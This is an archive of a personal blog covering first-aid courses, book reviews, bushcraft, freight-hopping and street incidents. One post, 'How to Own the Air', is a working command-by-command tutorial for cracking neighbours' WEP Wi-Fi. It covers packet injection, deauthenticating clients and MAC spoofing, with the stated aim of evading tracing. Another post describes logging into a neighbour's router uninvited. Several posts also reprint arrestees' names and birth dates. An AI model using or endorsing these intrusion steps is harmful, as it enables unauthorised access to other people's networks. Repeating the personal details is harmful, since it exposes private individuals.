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Wilderness First Responder

Tomorrow is day one of my Wilderness First Responder course, the next step up from the Wilderness First Aid course I took last year.

Essential for anyone who spends significant time in remote places or who has a professional career in the outdoors, the Wilderness First Responder (WFR) course will prepare you to make difficult medical decisions. This course is fast-paced and engaging. You’ll spend half your time outside of the classroom doing hands-on skills and realistic scenarios. In addition to scenarios, you’ll participate in a full-scale night mock rescue. WMI’s curriculum encompasses a wide range of topics including long-term patient care, wound management, straightening angulated fractures, reducing dislocations, litter packaging and administering medications. You’ll complete this course with the tools and confidence to manage patients in the backcountry for multiple days. The intensive 80-hour curriculum is nationally recognized and supported by the Wilderness Medicine Institute’s Medical Advisory Panel. You’ll be taught by dynamic educators who have practiced both wilderness and urban medicine. This 10-day course is ideal for all professionals operating in remote environments. Adult CPR certification is included. The WFR course is pre-approved for 70 hours of EMT CEU’s by CECBEMS.

8am-5pm for 10 consecutive days. Oughta be fun, as long as they provide nap time.

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Trust Me, I’m a Professional

Today I took the Red Cross’ CPR/AED for the Professional Rescuer course, upgrading my previous CPR certification. As before, it covered adult rescue breathing, choking remedies, and CPR, but this course went a bit more in depth into those subjects and added child and infant breathing and cpr, and the automated external defibrillator. We also got to use those fancy face masks, instead of the basic plastic barriers.

As the course title implies, it’s intended for EMTs, nurses, SAR, LEO and the like. I think it’s a course that folks would do well to attend if they’re willing and able, but doesn’t add enough on top of the basic CPR course to warrant taking otherwise. Basic CPR you should take, whether you want to or not.

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Power Cycles

The wind was strong enough yesterday to cause power outages and cycles throughout town. When I got home, I discovered that whoever I’m borrowing my wifi from had lost his internet connection. I waited a few hours, waiting for him to do something about it, but nothing happened. Finally I fired up telnet and rebooted his AP/modem for him, which reconnected everything.

Don’t you appreciate neighbors like me?

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A Cornucopia of Conjection

I’ve been exceptionally unmotivated to study for my finals this time around, the first of which is tomorrow. So I haven’t.

Instead, I’ve been reading about life and trains and all that other stuff that’s dangerous and subversive to the status quo and is going cause society to fall spinning into the dark, dismal abyss.

People are confused. They think they’re subject to society and their culture when it’s the other way around.

Remember about a year ago when I said I’d update the vitals page? Yup. Did that. A little.

A couple months ago, I was kicked out of the closet I used to work in and moved to the front desk. I wrote and prominently displayed the following, so as to alleviate any confusion concerning my status as a possible receptionist. It was taken down. Something about not being appropriate for the work environment, I suppose. The last stanza has been removed to protect certain individual(s).

Dear Valued Visitor,

The good looking fellow who sits in this space, is not paid as a receptionist. Can’t you tell from the look on his face?

He was kicked out of the closet and made to interact, but that has no effect on his employment contract.

He’s not here to answer phones, to assist, nor to direct. Which isn’t to say, he means you disrespect.

He’ll do his best to help and to give you advice. Just don’t make him state his job description twice.

If you’re on your way in, he’ll tell you hello though his mind may be elsewhere thinking of snow.

If you’re on your way out He’ll bid you farewell though if you’re leaving for good someone else you should tell.

This prose is no good. It’s turning out to be crap. I bet [censored] could do better. He listens to rap!

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Commotion

Once again, I was awoken by a disturbance on the street. This time it was about 2:15AM. They were right below my window, so it was a bit hard to see what was going on. The fight looked to be between two girls, with about 10 male onlookers cheering and exclaiming the occasional “oh damn!” (Girl fights always look particularly brutal — no mercy.) As far as I could see, there were no cops or cameras. After a couple minutes, the group migrated around the corner. I drifted back to sleep to a soundtrack of “the bitch attacked me!”

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Shadow Company

Shadow Company is the documentary on modern day mercenaries. Superior and more broad in its scope than Frontline’s Private Warriors or Iraq for Sale, it essentially comes across as a film adaptation of Licensed to Kill, relying heavily on interviews with Robert Young Pelton, featuring video shot by RYP, and interviews with Cobus Claassens (the pirate hunting merc of Three Worlds Gone Mad). It felt very balanced, allowing interviewees — academics, reporters, and contractors — to cast the industry in both positive and negative light. The underlying message seemed to be a call for regulation.

Video excerpts are available on YouTube and, along with interviews with the filmmakers, on Kevin Sites’ Hotzone.

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How Festive

The porn shop next-door hung a large wreath with xmas lights on top of their building. I think that counts for my decorations, too.

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Natural First Aid

Brigitte Mars’ Natural First Aid is a nice little book for dealing with home, and some wilderness, ailments. The book begins with a short introduction to basic first aid — CPR, splints, and the like — and follows that with “An A-Z Guide to Ailments and Injuries,” including everything from nosebleeds to jellyfish stings. Each ailment includes possible herbal and homeopathic techniques for prevention and remedy. The books also includes a chapter on “Surviving Nature’s Challenges,” which discusses basics of topics such as surviving bear attacks, making fire, and giving birth.

The book, sadly out of print, is very basic, and is no replacement for real first aid training, but certainly warrants a spot on your bookshelf for herbal reference.

Connection

According to Shaie’s Honey article on WebLife.org,

…if a person has allergies to the natural environment they are in (grass, trees, ect…) if they take a spoon of honey everyday (honey from same region) it will gradually reduce their allergic reactions.

So turn off your processed air, eat local, and re-realize your connection to the environment.

Live in it. Accept. It’s part of you, and you it.

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Acclimatize

Sleeping cold is a better way of life. It forces your body to burn more calories throughout the night. It tunes you to the natural environment around you. It lessens the shock of cold nights spent under the stars.

This Fall and Winter, I’ve challenged myself not to use heating. The past week has been tough — my glasses frost over in the morning, the inside of my window blankets itself with ice. Today, I can still see my breath, but for the first time since returning from New York, the apartment is above freezing.

Many thanks to the sheep of New Zealand.

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Faust

Faust has been sitting on my bookshelf for close to two years now, waiting for me to read it. I had kept neglecting the book, but promising to read it eventually, since finishing The Magic Mountain. Finally, I decided to throw it in my pack for New York.

Kaufmann’s translation includes the German on one page and the English on the opposite, allowing one to view the original work in conjunction to what you’re reading. A novel and appreciated addition, even though the only German I know was learned from killing Nazi zombies in Return to Castle Wolfenstein.

Goethe is full of wit and humor — twisted, sexual humor that would make Tipper Gore gorge out her eyes — that comes across well in Kaufmann’s translation. I found it quite enjoyable. It inspires you to push through the somewhat more confusing scenes that lack the entertainment of Mephisto. (Like those angles up in heaven. Why would anyone want to go hang out with those boring, drab, self righteous egotists when you could be with Mephisto and his wenches during Walpurgis Night?) I think a great many more people would enjoy the book, if they would only give it a shot.

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Snow and Cold

The temperature was about 60°F when I left NYC yesterday. I’m told it normally hovers around freezing this time of year.

My flight landed to find snow on the ground, and the temperature in the mid-30°s — a good 10°-20° colder than usual. It rarely snows here.

What’s with that?

My train home was delayed about an hour. The power switches weren’t working, so the crew was forced to manually switch. The old fashion way. We pulled in at about 10:30PM.

It was 31°F, with a foot of snow. My walk home was doubled in length.

Now it’s 15°F outside and a bit warmer inside. The sidewalks and roads have been cleared, exposing thick ice underneath.

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Leaving On a Jet Plane

Tomorrow, I fly to New York. I don’t know if I’ll be online during the trip, but if I am, you can contact me at: vagabond at pig dash monkey dot com

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It Seems to be a Trend

I was awoken at 3:54AM last Sunday by another ruckus out my window. A group of perhaps 6 college kids were walking down my street, being followed by a middle-aged man, screaming variations of “He threw jam in my face!” and “I’m not the mother fucker to fuck with!”

It appeared he was angry with only one of the kids, and that unlucky fellow was there with only one other. The rest seemed un/lucky bystanders. The friend of the target was walking to his car and began to unlock it when the middle-aged man threw one, maybe two, punches in the face of the jam-thrower. The old man was promptly shoved away while the two friends got into the car. They sat there for a couple minutes, I assume dialing 911, while the old guy beat the car with his bag and continued yelling.

By this time, three of the onlookers were taking pictures and video, and another was on her phone. (One girl forgot to disable her flash. I wondered if she was packing.) The angry guy started to walk away, and the rest of the kids jumped into the waiting car to drive away, except the girl on the cellphone who yelled at them to wait for 911.

The only somewhat related police report is this:

Reported: Nov 19 2006 3:58AM Offense: MALICIOUS MISCHIEF Case #: 06B49724

(A1) was cited for malicious mischief for smashing the window of a vehicle.

Arrested: BROWN, MARK ALBERT Age: 40 (DOB: Feb 27 1966 )

I imagine he could have busted a window of the car while hitting his bag against it, though I think the assault part would be slightly higher charges. I went back to sleep before the police arrived.

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Licensed to Kill

Robert Young Pelton’s Licensed to Kill is the definitive post-9/11 book on guns-for-hire. From Baghdad’s Route Irish to the Afghan/Pakistan border, RYP is able to enter the closed world of mercenaries, PMC/PSC, and other contractors in a way that academics and reporters cannot.

In a world where Blackwater is deputized, this seems an important book for all. Like the guns they wield, mercenaries can be used for good or evil.

(Those interested in the EO/Sandline mercs of the ‘90’s would do well to add Three Worlds Gone Mad to their reading list.)

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Lonely Planet Travel Writing

It was recommended to me last summer that I read Lonely Planet’s Travel Writing. I expected the book to be about the art, but instead it focused more on the details of how one enters the travel writing and scene and how to get published — something I have little interest in. If you’re serious about making travel writing a profession, particularly if you’re interested in writing for guide books, then this may be a worthwhile read. For the rest of us… just write.

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Urtica dioica

Stinging nettle, an oft-overlooked “weed”, is quite the powerful herb. It’s leaves and stalks perform as a diuretic and an anti-inflammatory. It’s known to lessen the effects of seasonal allergies and can also be used as a dye.

Susun Weed says:

Stinging nettle leaves and stalks are gentle enough for an everyday nourishing brew and powerful enough to heal damaged tissue. Kidneys, lungs, intestines, and arteries are tonified, strengthened, and gradually altered toward optimum functioning with consistent use of nettle, freshly cooked or infused. Women love this rich green plant during pregnancy, childbirth, and lactation for its safe diuretic effect, its gentle restorative laxative effect, its assured anti-hemorrhagic power, and its contribution to their over all well-being. Antiseptic when fresh juice is used as a wash for skin, kitchen, or stable, nettle also clears auras and energetic pathways. Hair gleams, grows, thickens, and darkens when nourished and rinsed with nettle infusions…

Last night, I concocted an infusion by placing 1/2 oz of dried nettle in a glass jar, and pouring 2 quarts of boiling water over it. In the morning, the plant material was strained out of it. I drank about half of it throughout the day and the rest, used as a rinse on my hair after shampooing in the shower. I experienced a sort of buzzing, euphoric effect after pouring it over my head, though I think this may just be the combination of the refrigerator-temperature infusion in a hot shower combined with placebo. I’m curious to notice any effects in the morning, other than my head smelling something akin to a compost pile.

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The Road to Hell

Michael Maren’s The Road to Hell: The Ravaging Effects of Foreign Aid and International Charity shatters the glossy image of NGOs as humanitarian organizations concerned with the betterment of third-world peoples. Instead, he claims Aid as a new kind of colonization. Focusing on Somalia, Maren shows that NGOs there not only didn’t help refugees, but actively killed them. That NGOs supported the power of Siyaad Barre and, later, Mohamed Farah Aydiid. And that NGOs were largely responsible for continuing and worsening famine conditions in the early ‘90’s. In the end, he shows them as no more than Corporations concerned with profit.

It’s an excellent book. Not only for exposing the Aid industry, but for the history and understanding of Somalia.

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Ferns, Prepare to Meet Your Maker

Tonight I sharpened two blades with my new Spyderco Tri-Angle Sharpmaker. It’s a set of two ceramic stones (one medium, one fine) set into a plastic base, with two brass hand guards. The base sets the stones at a 40° angle (there’s also an option for 30°), allowing the user to hold the knife parallel to the base, which eliminates the fudge factor that comes with normal stones. So far, I’m enjoying it. It’s certainly sharpened both knives I’ve tried on it (Leatherman Wave and BK10), though they’re neither razor sharp. Both were pretty dull to start with, so I think it’s just going to take a few more cycles through the Tri-Angle before I can get them up to speed.

The Wave had a small cink in the blade that the medium stone was able to take care of. The BK10 has a significantly larger cink that the medium stone shaved down a bit, but it’s still there. Again, I think I’ll be able to take care of it with a bit more work. If not it may be worth it just to take it in to a professional sharpener so I can start with a clean slate.

My only complaint about the Tri-Angle is the cheap plastic base. There’s a variety of different slots, all made to hold the stones and guards in a variety of different configurations, but each require a little fiddling with to insert the stones and guards into. I think a metal or wood base would have been more appropriate.

The sharpener also comes with a DVD demonstrating proper use. It’s amazing how versatile the system is — or, at least, how versatile the DVD claims it is. It seems anything can be sharpened with the Tri-Angle. From plain edge to serrated knifes, hair clippers to toe clippers, potato peelers to screwdrivers. I may try a serrated blade on it tomorrow.

The average price on the net seems to be about $45. I picked it up for $42.95 (those guys have amazingly fast shipping, too). At that price, I’d say it’s a very worthy investment.

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Night in a Debri-Tee

The fire and shelter class was originally supposed to be 2.5 days. Somewhere along the line, Management cut it down to just 24 hours. Still, our teacher decided to continue with the class. We focused on shelter building, not having much time for fire.

The shelter we built was a debri-pee. Rather self explanatory — a tee-pee, but made with debris. The group of people (there were 6 of us) sit in a circle, legs crossed, and place a stick in the ground behind their back. This marks this circumference of the circle. After this, two rows of alternating sticks, 2 feet tall, 1 foot apart, are placed around the circle. Three ridge poles, the hight of the tallest person, are setup in the middle, with their ends inside the circle, and tied off with some form of cordage at the top. Their angle should be about 45 degrees to maximize rain run-off. More ridge poles are lain around the circle — as many as you can find and fit. Then, the lower wall (created by the circle of alternating sticks) is insulated with debris (mmm…sword ferns). Next, the upper wall (created by the ridge poles) is latticed (the lower branches of Hemlock work great — snack on the needles while you work). Then start throwing on the debris. Sword ferns make a good first layer — about 4 feet of insulation. Then toss on some maple leaves to minimize rain penetration. Perhaps shingle it with bark. Remember to punch a smoke hole in the top. The hole for the door should be slightly wider than the biggest person. The door itself is a plug made of vines, twigs, sticks, leaves, ferns, etc. Insulate the floor of your new home with ferns, but first lay down a little Hemlock. Remember to stash firewood anywhere and everywhere inside. Small pieces. You don’t want to burn your new home down. Carry in a few coals from your outside fire and settle in for the night.

It took the six of us about 5 hours to construct our debri-tee. Since it’s sized out by us all sitting cross-legged in the shelter, it’s a bit cramped when laying down. You’re basically sleeping in the fetal position, with your head on the next person’s legs. But other than that, it’s comfortable. We each had alternating one hour fire-tending shifts, to keep us warm and make sure the ferns didn’t catch fire. It started pouring at about 3AM and rained all night, but our shelter kept us dry.

We each left with a block of cedar from which to craft a bow-drill. I’m waiting for my new knife sharpener to arrive before I give it a shot.

Speaking of knives, our teacher, Phil, had a Tracker knife that I played with — the custom, $400 version made by Dave Beck, not the commercial one made with crappy steel. It’s certainly nicer than my BK10, though, overall, I can’t say I was too impressed with it. Not for a $400 knife. I fell an Alder with it, but the saw is really too short to do much with. The handle has two positions, but felt too small for my hand. I did like cutting ferns with the dip between the chopping and carving blades.

I’m looking forward to building a debri-tee here. And transferring some of the tricks I learned to the other shelters up in the woods.

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Fire & Shelter Overnight

This weekend I’m heading back to the Wilderness Awareness School for a fire and shelter building class.

Keeping warm and dry are two of the foremost priorities for wilderness survival. Learning to build your own fire by friction and shelter in the woods are also great fun. This new 24-hour NatureSkills weekend introduces both topics from a variety of perspectives. Participants should their own food including something to cook over the fire for dinner.

Fire Topics: philosophy of fire-making; 5-minute fires; primitive fire-making methods (bow drill) collecting/harvesting fire materials.

Shelter Topics: properties of natural materials for insulation; creating individual and group shelters, using fire inside shelters; and staying overnight in a shelter that you have constructed.

I’m looking forward to more bow-drill practice.

Despite the cold, wind, and rain we’ve been having the past week or so, Weather.com says I shouldn’t freeze my butt off — but a sleeping bag is on the gear list (I didn’t think it would be), so as long as I spend enough time waterproofing my shelter, I should be ok.

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Blacklist: *@*

I spent most of yesterday playing with SpamAssassin, ending up installing my own copy instead of using Dreamhost’s instance. It seems to be working, more or less, but will take some time to train. If you send me an email sometime within the next month, and I don’t reply within a few days (and your message warranted a response), try to send it to me again. Or contact me through other means.

(I will be checking my “Spam of Death” folder for false-positives and correcting them, but you never know.)

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Thanks for that

Someone set off the fire alarm in my building last night at 2am. Just as I was about to go to bed. Luckily, the alarm isn’t tied directly to the sprinklers.

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How to Own the Air

Before moving into my new place last month, I had planned on paying an ISP for internet access. But, complications arose with the company I had chosen, so I decided to cancel my order soon after it was placed. Instead, I planned to borrow internet access from my neighbors (hey, they’re pumping signals into my air-space). Trouble was, everyone had encrypted their networks with WEP. No doubt this is a good thing, and a vast improvement from the last time I had scanned down here (about 8 months ago), but I wanted in. I was able to justify cracking in to myself by recognizing that my paranoia isn’t limited just to the “others” out on the global interwebs — no, I’d be just as paranoid about the owner of whomever’s network I was breaking into watching my traffic. There was no question I’d make ample use of encryption, which, as a side benefit, meant that anything I did through his connection would be rather difficult to trace back. So, he was protected. As long as he wasn’t paying for bandwidth by the KB, he’d not be much affected by my leeching. (I use the pronoun “he” because I know now that the owner of my primary network is, in fact, a he — put a password on your routers, people!).

But there was another problem, in addition to WEP: during reconnaissance, I would rarely pick up any connected clients. Perhaps I was always trying at the wrong time of day. Or perhaps people pay for internet access and never use it. Regardless, it would have taken weeks of constant logging to gather enough IVs to crack the WEP key. So, the first step was to take the money I had saved by canceling my order with the ISP, and invest in a new wireless card that supported packet injection.

The Proxim 8470-WD (from aircrack-ng’s recommended list) caught my eye, though it took a while before I could find it a decent price. To do my initial cracking, I popped in Backtrack and followed aircrack-ng’s newbie guide. (I had upgraded my trusty old Auditor cd to Backtrack just for this occasion. It’s quite the nice distribution.) Within about 5 minutes, I had gained access to the first network. Goes to show how secure WEP is.

Though the Proxim card is plug and play in Ubuntu, the steps to crack WEP are a little different. Here’s what I do (note that I do recommend using Backtrack, instead).

First, of course, one must install aircrack:

sudo apt-get install aircrack

You may change your mac address manually, or, if you aren’t concerned with anonymity, don’t change it all. I have a preference of using the macchanger tool:

sudo apt-get install macchanger

Set your card’s MAC address randomly. In this case, the network device is at ath0:

sudo ifconfig ath0 down
sudo macchanger -r ath0
sudo ifconfig ath0 up

Put your card into monitor mode:

sudo iwconfig ath0 mode monitor

Start scanning:

sudo airodump ath0 dump 0

In this case, dump is the file prefix for airodump’s output and the 0 tells airodump to channel-hop. Now you want to pick your target network from the scan. It should have at least one client connected (displayed at the bottom of airodump’s output), the more the merrier. (Hopefully that client is transmitting data, too.)

When you pick your target, kill the first instance of airodump and start it up again, this time specifying the channel of your target:

sudo airodump ath0 targetdump 9

The targetdump is the file prefix and 9 is the channel. Optionally you can add a 1 to the end of the command, which tells airodump to only capture IVs (which is what you’re after). I normally don’t bother.

When you’ve captured somewhere in the range of 250,000 - 500,000 data packets (shown by airodump in the “Packets” column of your target client), you can start cracking:

aircrack -b 00:12:34:45:78:A3 targetdump.cap

In this case, -b is the essid of your target network. Cracking could take minutes, hours, days, weeks, months, or years. I’ve never had to wait over 20 minutes.

But what if the client is being a party-pooper and not transmitting? That’s where packet injection comes in. From aircrack’s guide:

ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).

You’ll want to keep airodump running, so that all the traffic you generate will be captured. In another terminal, start injecting:

sudo aireplay -3 -b 00:12:34:45:78:A3 -h A3:78:45:34:12:00 ath0

The -3 tells airepay you want to replay ARP requests, -b is that target network, and -h is the client. In a little bit, aireplay should inform you that it has captured 1 (or more) ARP packets. Sit back and watch airodump count up the IVs.

If that pesky client still isn’t cooperating, you can give it a little motivation. From aircrack:

Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID during reconnection too. This comes in handy if the ESSID of your target is hidden. …the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.

Keep airodump and aireplay running, and in a new terminal give it a little kick in the butt:

sudo aireplay -0 5 -a 00:12:34:45:78:A3 -c A3:78:45:34:12:00 ath0

The first switch, -0, informs aireplay you want to force the client to be unauthenticated, -a is the target network, -c is the target client. When the client reconnects, you should start grabbing ARP requests.

After you have enough packets, crack the WEP key as before.

To manage and connect to my wireless networks, I’ve taken to using wifi-radar. It scans for networks, allows you to specify which networks you prefer and, for each network, allows you to set preferences such as the WEP key, whether to use dynamic or static addresses, and the like. What I like best is the connection commands, which allows you to set commands you want executed before wifi-radar connects to the network, and after. In the before field, I have it randomly change my mac address:

ifconfig ath0 down && macchanger -r ath0 && ifconfig ath0 up

After it connects, I restart tor:

/etc/init.d/tor restart

(As another reference for you, this site keeps turning up as a guide to cracking WEP in Ubuntu.)

Three Worlds Gone Mad

Three Worlds Gone Mad: The Hunter, The Hammer, and Heaven gets back to what RYP does best: storytelling. The book documents Robert Young Pelton’s journeys to three different war-zones (Sierra Leone, Chechnya, and Bougainville) and his attempts to understand the place and its people. Like in DP, Pelton manages to explain the places better than any history text. Where else are you able to see from the eyes of pirate hunting mercs, American ex-CIA jihadists, and hermit rebel leaders? Unconstrained from the limits of a journalism, Pelton shows us firsthand a world outside of our own — a glimpse into war-torn regions of the world — and the ordinary people who inhabit them.

I highly recommend this book to and fans of RYP and, for those who have never read his works, this is a good place to start.

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Always Have a Camera Ready

Around 11PM tonight I heard a bunch of yelling and screaming out my window. At first I thought nothing of it — there’s always a bunch of drunk kids around here at night having a good time — but it was persistent, so eventually I peeked through my blinds. Across the street, there were perhaps 10 people kicking and stopping on one guy curled up on the ground. I grabbed my camera and started shooting video of it. In about 30 seconds, a car pulled up, two people got out and scared the small gang away. After the video stops I called 911, but they had already had it reported. The cops and medics arrived about a minute later and I went over and showed them what I captured. They were all rather adamant about confiscating my camera for evidence, but I suggested they find someone else with video of the event and confiscate his camera. One of them took it over to where another cop had detained one guy, but that turned out to be uneventful, as they let him go. After about half an hour of standing around, a cop suggested I go with one of them down to the station where they could download the video (they weren’t up to me just emailing it to them). So, I hopped into the car of Officer Brian Chissus (badge #220) and off we went to the evidence room of the police station. I had to walk him through how to download the video (funny how I know the police’s own computer system better than the police themselves). Then he gave me a ride back to my apartment (they don’t make the back seats of those cars very comfortable).

It was interesting to see the inside of the station. It was also the first time I was able to get a close up look at the laptops they all have in their cars. Everything ran Windows XP.

Anyway, I’m going to bed now. I’ll upload the video I shot tommorrow.

Edit: Video here: http://files.pig-monkey.com/video/rr-fight.avi

Update:

Reported: Oct 10 2006 10:54PM Offense: ASSAULT-FELONY Case #: 06B43705

(V1) and (V2) assaulted by a group at the above location.

Arrested: QUINTON, KEITH EDWARD Age: 0 (DOB: Jun 23 1982 ) Arrested: PINNER, MICHELLE NICOLE Age: 0 (DOB: Oct 1 1988 )

Reported: Oct 10 2006 10:55PM Offense: WARRANT - LOCAL Case #: 06B43713 (A1) had three warrants for his arrest. Arrested: QUINTON, KEITH EDWARD Age: 24 (DOB: Jun 23 1982 )

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A Scanner Darkly (film)

Tonight I went to a $2 showing of A Scanner Darkly, a very good film. Though there are some significant changes, I don’t think fans of the novel will be disappointed. The general feel of the book is there, and the main plot and characters remain intact. On the downside, they didn’t really get across the whole Fred/Bob disconnect idea very well, and their representation of the scramble suits weren’t exactly what I had in mind — but, hell, the whole book is pretty hard to transfer to film. It stands as a good film on its own, and should please any who would have an interest in seeing it. Certainly superior to the last few Hollywood interpretations of Philip K. Dick’s work.

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Autobiography of Benjamin Franklin

I picked up the Autobiography of Benjamin Franklin at one of those library book sales a few years ago for something like $1. It’s been sitting on my bookshelf, neglected, ever since — though I kept telling myself I’d read it one day. Finally, I have.

I enjoyed the book a good deal. Though I can’t say I agree with all of Franklin’s politics or his racist leanings, I did enjoy the writing style and the insight into the times. It’s impressive how varied a man he was, seemingly every institution and employment being touched by him at some point. (And the book only goes to 30 years before his death.) I wouldn’t use the book as a mold to shape my life to, which was the book’s intention, but it’s still a good read.

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TAD Stealth Hoodie Gen 2

TAD has released the second generation of their Stealth Hoodie Tactical Soft Shell. The big change seems to be in their new “rhino” fabric. Other than that, some small changes in the hood design, and new cuffs, the jacket doesn’t look to be much different from the first generation, which I’ve owned in ME Green for about 9 months now. I’ve been meaning to write a review of it, but, until I do, suffice it to say that I love it and was worth the money.

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Sickening

Classes started up again last Wednesday. It’s depressing, after all the experiences of the past 3 months to, once again, be forced to place my learning aside and sit in classrooms for months upon months, under the guide of “education”. We’ll see how long I last.

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The Fairhaven Folktales of Dirty Dan Harris

The Fairhaven Folktales of Dirty Dan Harris by Michael Sean Sullivan is a fun little bit of local history. It concerns the life and times of “Dirty” Danial Harris, the sailor and whiskey smuggler who founded the town of Fairhaven in the 1800s. Dirty Dan had a reputation as quite the story teller in his time, this book being the recounting of his tales that were orally passed down after his death.

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Basic Essentials Weather Forecasting

It was staring up at the sky one day at the NVC that I decided to learn what the clouds meant. So, upon return, I picked up a copy of Basic Essentials Weather Forecasting by Michael Hodgson. The book serves as a short introduction to the topic of amateur weather forecasting, a chapter of it devoted to the science of clouds. The subject, I think, is not for me — a lot of it went over my head (too many big words like cumulonimbus) — but I did manage to take a good deal from the book. I’d recommend it for anyone who spends a deal of time in the outdoors, as the ability to predict stormy weather is a useful one.

The Complete Guide to Lock Picking

The Complete Guide to Lock Picking by Eddie the Wire is something of a classic on the subject. I find that when talking to lock specialists, I’m always referred to it at one point or another. It’s a short book. At only 80 pages, it obviously isn’t very indepth. I found the author to brush over some topics too quickly, and was also lacking in pictures to help reinforce concepts. But all in all, the book taught me a good deal. Now I need to invest in a pick set.

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Survival Retreat

Ragnar Benson’s Survival Retreat: A Total Plan for Retreat Defense is a whacky little book. It focuses on suggestions for locating, building, and stocking fallout shelters for surviving anything from economic collapse to nuclear war. Published in 1983, the book contains a lot of that Cold War paranoia. It does have a number of good tips, though the author has some mental issues he should probably work on.

Riding the Rails

Riding the Rails by Michael Mathers is a photo essay of riding freight trains in the ‘60s-‘70s. The pictures are incredible, the stories and interviews intruiging. A recommended read for those interested in hoboing.

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The Freighthopper’s Manual For North America

Danien Leen’s The Freighthopper’s Manual For North America is a short, concise guide for the would-be hobo. Originally printed in the ‘70s, this edition was “updated” in 1992 — meaning he added a couple useful appendices. The main part of the book, though, still feels out of date, mentioning reefers and cabooses. The whole book is only about 100 pages, about a third of that pictures. It’s a nice little manual to blow through in an hour or so, but by no means a replacement for Littlejohn’s Hopping Freight Trains in America (which I’m quickly discovering is the modern bible on the subject).

The book is a little hard to come by. I didn’t have much trouble finding a used copy online, but there’s also a stamp in the back of the book that reads:

ADDITIONAL COPIES OF THIS UNIQUE BOOK ARE AVAILABLE FOR $8.95 (U.S.) POSTPAID FROM: DANIEL LEEN BOX 191 SEATTLE, WA 98111 U.S.A.
I don’t know if that box is still valid, but it may be worth a shot.

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The Hitchhiker’s Handbook

Hitchhiking, to me, has always seemed a rather spontaneous act. Not something that required much technique — find a spot and stick you thumb out. So I was intrigued when I first heard of James MacLaren’s The Hitchhiker’s Handbook. How could someone write a book on such a simple subject? When I learned it was published by the now defunct Loompanics, I had to buy it.

The book turned out to be full of nothing but common sense — I’m still not sure how he stretched it out to 145 pages. On top of that, the author comes off as being a homophobe with not but a 6th grade writing education and a broken caps-lock. One’s time would be much better spent browsing the information found on Digihitch.

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Lonesome Whistle

Lonesome Whistle is Duffy Littlejohn’s collection of short stories about hopping freights. I found it to be hit and miss — certainly inferior to Ridin’ Free. At times, the tales seem to be more about sex and booze than trains. But it’s another take on the hobo life. One worth looking at, I suppose.

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Ray’s Guides

Talk is that camp site fees are being increased. They charge too much already. I prefer finding a nice, secluded spot in a National Forest, but that isn’t always available. And it can be nice to have a bathroom.

In Village Books last week, I happened upon Ray’s Guides: Free Campgrounds in Washington State. The book is a no-nonsense list of free camp sites in the state. I’ve yet to have a chance to check out any of the listed sites, but hope to soon. Ray also has guides for Oregon and Idaho.

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Thai Coup

Strange to think that Bangkok is under martial law and the Government House surrounded by tanks… I missed all the fun by a couple months. The Army has a reputation of being rather straight forward and the folks to go to when you’re hassled by corrupt police (all the police are corrupt, all throughout the ranks — excepting tourist police, who have no power), so I suppose we should be glad that they’re the ones who decided to take over.

It’ll be interesting to hear what the King has to say.

I’m still on the Embassy mailling list, and just got this:

Attention American Citizens:

A group calling itself the Committee for Democratic Reform under the Monarchy as Head of State has apparently seized control of the government institutions in Bangkok and declared martial law.

We have seen various reports that the military has deployed troops around key government facilities and other strategic locations around Bangkok.

There are no indications of any violence at this point.

We advise all American Citizens to continue to monitor the situation closely, avoid any large gatherings and exercise discretion when moving about the city.

At this point, we are not advising Americans to leave Thailand; however, Americans planning to travel to Thailand may wish to carefully consider their options before traveling until the situation becomes clearer.

The Embassy will continue to follow developments closely. If there is any important information regarding the security of US citizens the Embassy will post it on the U.S. Embassy Bangkok and Department of State websites.

Update BBC says: They have also banned assemblies of more than five people, which are now punishable by six months in jail. Clearly, these people have never walked the streets of their own city. How do you expect to stop more than five people from gathering in the streets of Bangkok? Not with a 24 hour curfew could you accomplish that.

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Bay Photos

Past couple nights I’ve been riding along the bay at sunset, snapping a few photos here and there.

For your viewing pleasure.

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Ridin’ Free

Guitar Whitey’s Ridin’ Free is a collection of stories about the author’s sixty-some years on the rails. A Seattle native, Whitey started riding during the Great Depression, making him a “cross-over” hobo — one who rode both steam and diesel trains. The book is a wonderful testament to the wandering spirit. Certainly somewhere up there in my top 10. I would recommend it to all.

If it’s true that you only go around once, then ,maybe you’d best get at it and do it — while you still can. You can always go back to school at any age. If you are of the adventurous spirit and feel you should test yourself — then go for it — get out there and adventure on life. Go for broke. Go ahead and do it. I would urge you to hop a freight trains while you still can. Never mind where it’s going or where you’ll end up. Get that first ride under your belt and see how you like it. Get out on the highway, stick your thumb out and see what happens. Forget about a destination, just travel. Hike down some railroad track to the far horizon. Test yourself to see how far you can walk. Try spending a cold night out somewhere without blankets. Peace Pilgrim crisscrossed this country on foot for 23 years, as an older lady, with no sleeping gear. She didn’t even wear a coat. Take a vagabond trip carrying a bedroll, but take no money, and take no credit cards. Not even a quarter for the phone. See how long you can hold out. You may be surprised to find out who your friends are. Try floating down some river on a homemade raft, Huck Finn style. Take a job on a boat, any kind of boat or ship as a workaway, never mind where it’s going. Try some hellishly hard job of work (physically demanding). See how long you can tough it out. Hike the Pacific Crest Trail. Beat your way through Canada on up to Alaska and try for a job — any job, with no concern for the pay. Canada and Alaska come about as close as you’ll ever get to a “lat frontier.” Find your own adventure. Take the risk. Be a dare-devil. Try something new and scary. Try giving your money away. Go for it. Express yourself.

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Dream Science Circus

Yesterday’s Dream Science Circus was awesome. Located in a field out near Fairhaven, it was primarily a kid’s show, but I loved it. Lots of wacky people dancing around in the air, a funny ring master, and audience interaction.

Something of an underground Cirque du Soleil. But only $10. And local.

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Offline for a bit

Moving back to the ‘ham tomorrow. I won’t have interweb in my place for probably a week or two, but I’m going back to work sometime midweek so I’ll probably be cruising a bit there. (Not that I would be using State resources for my own, personal use. No, sir.)

I imagine that, with my location, there oughta be some wifi I can hire Harrison Ford to haxx0r, too.

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Hopping Freight Trains in America

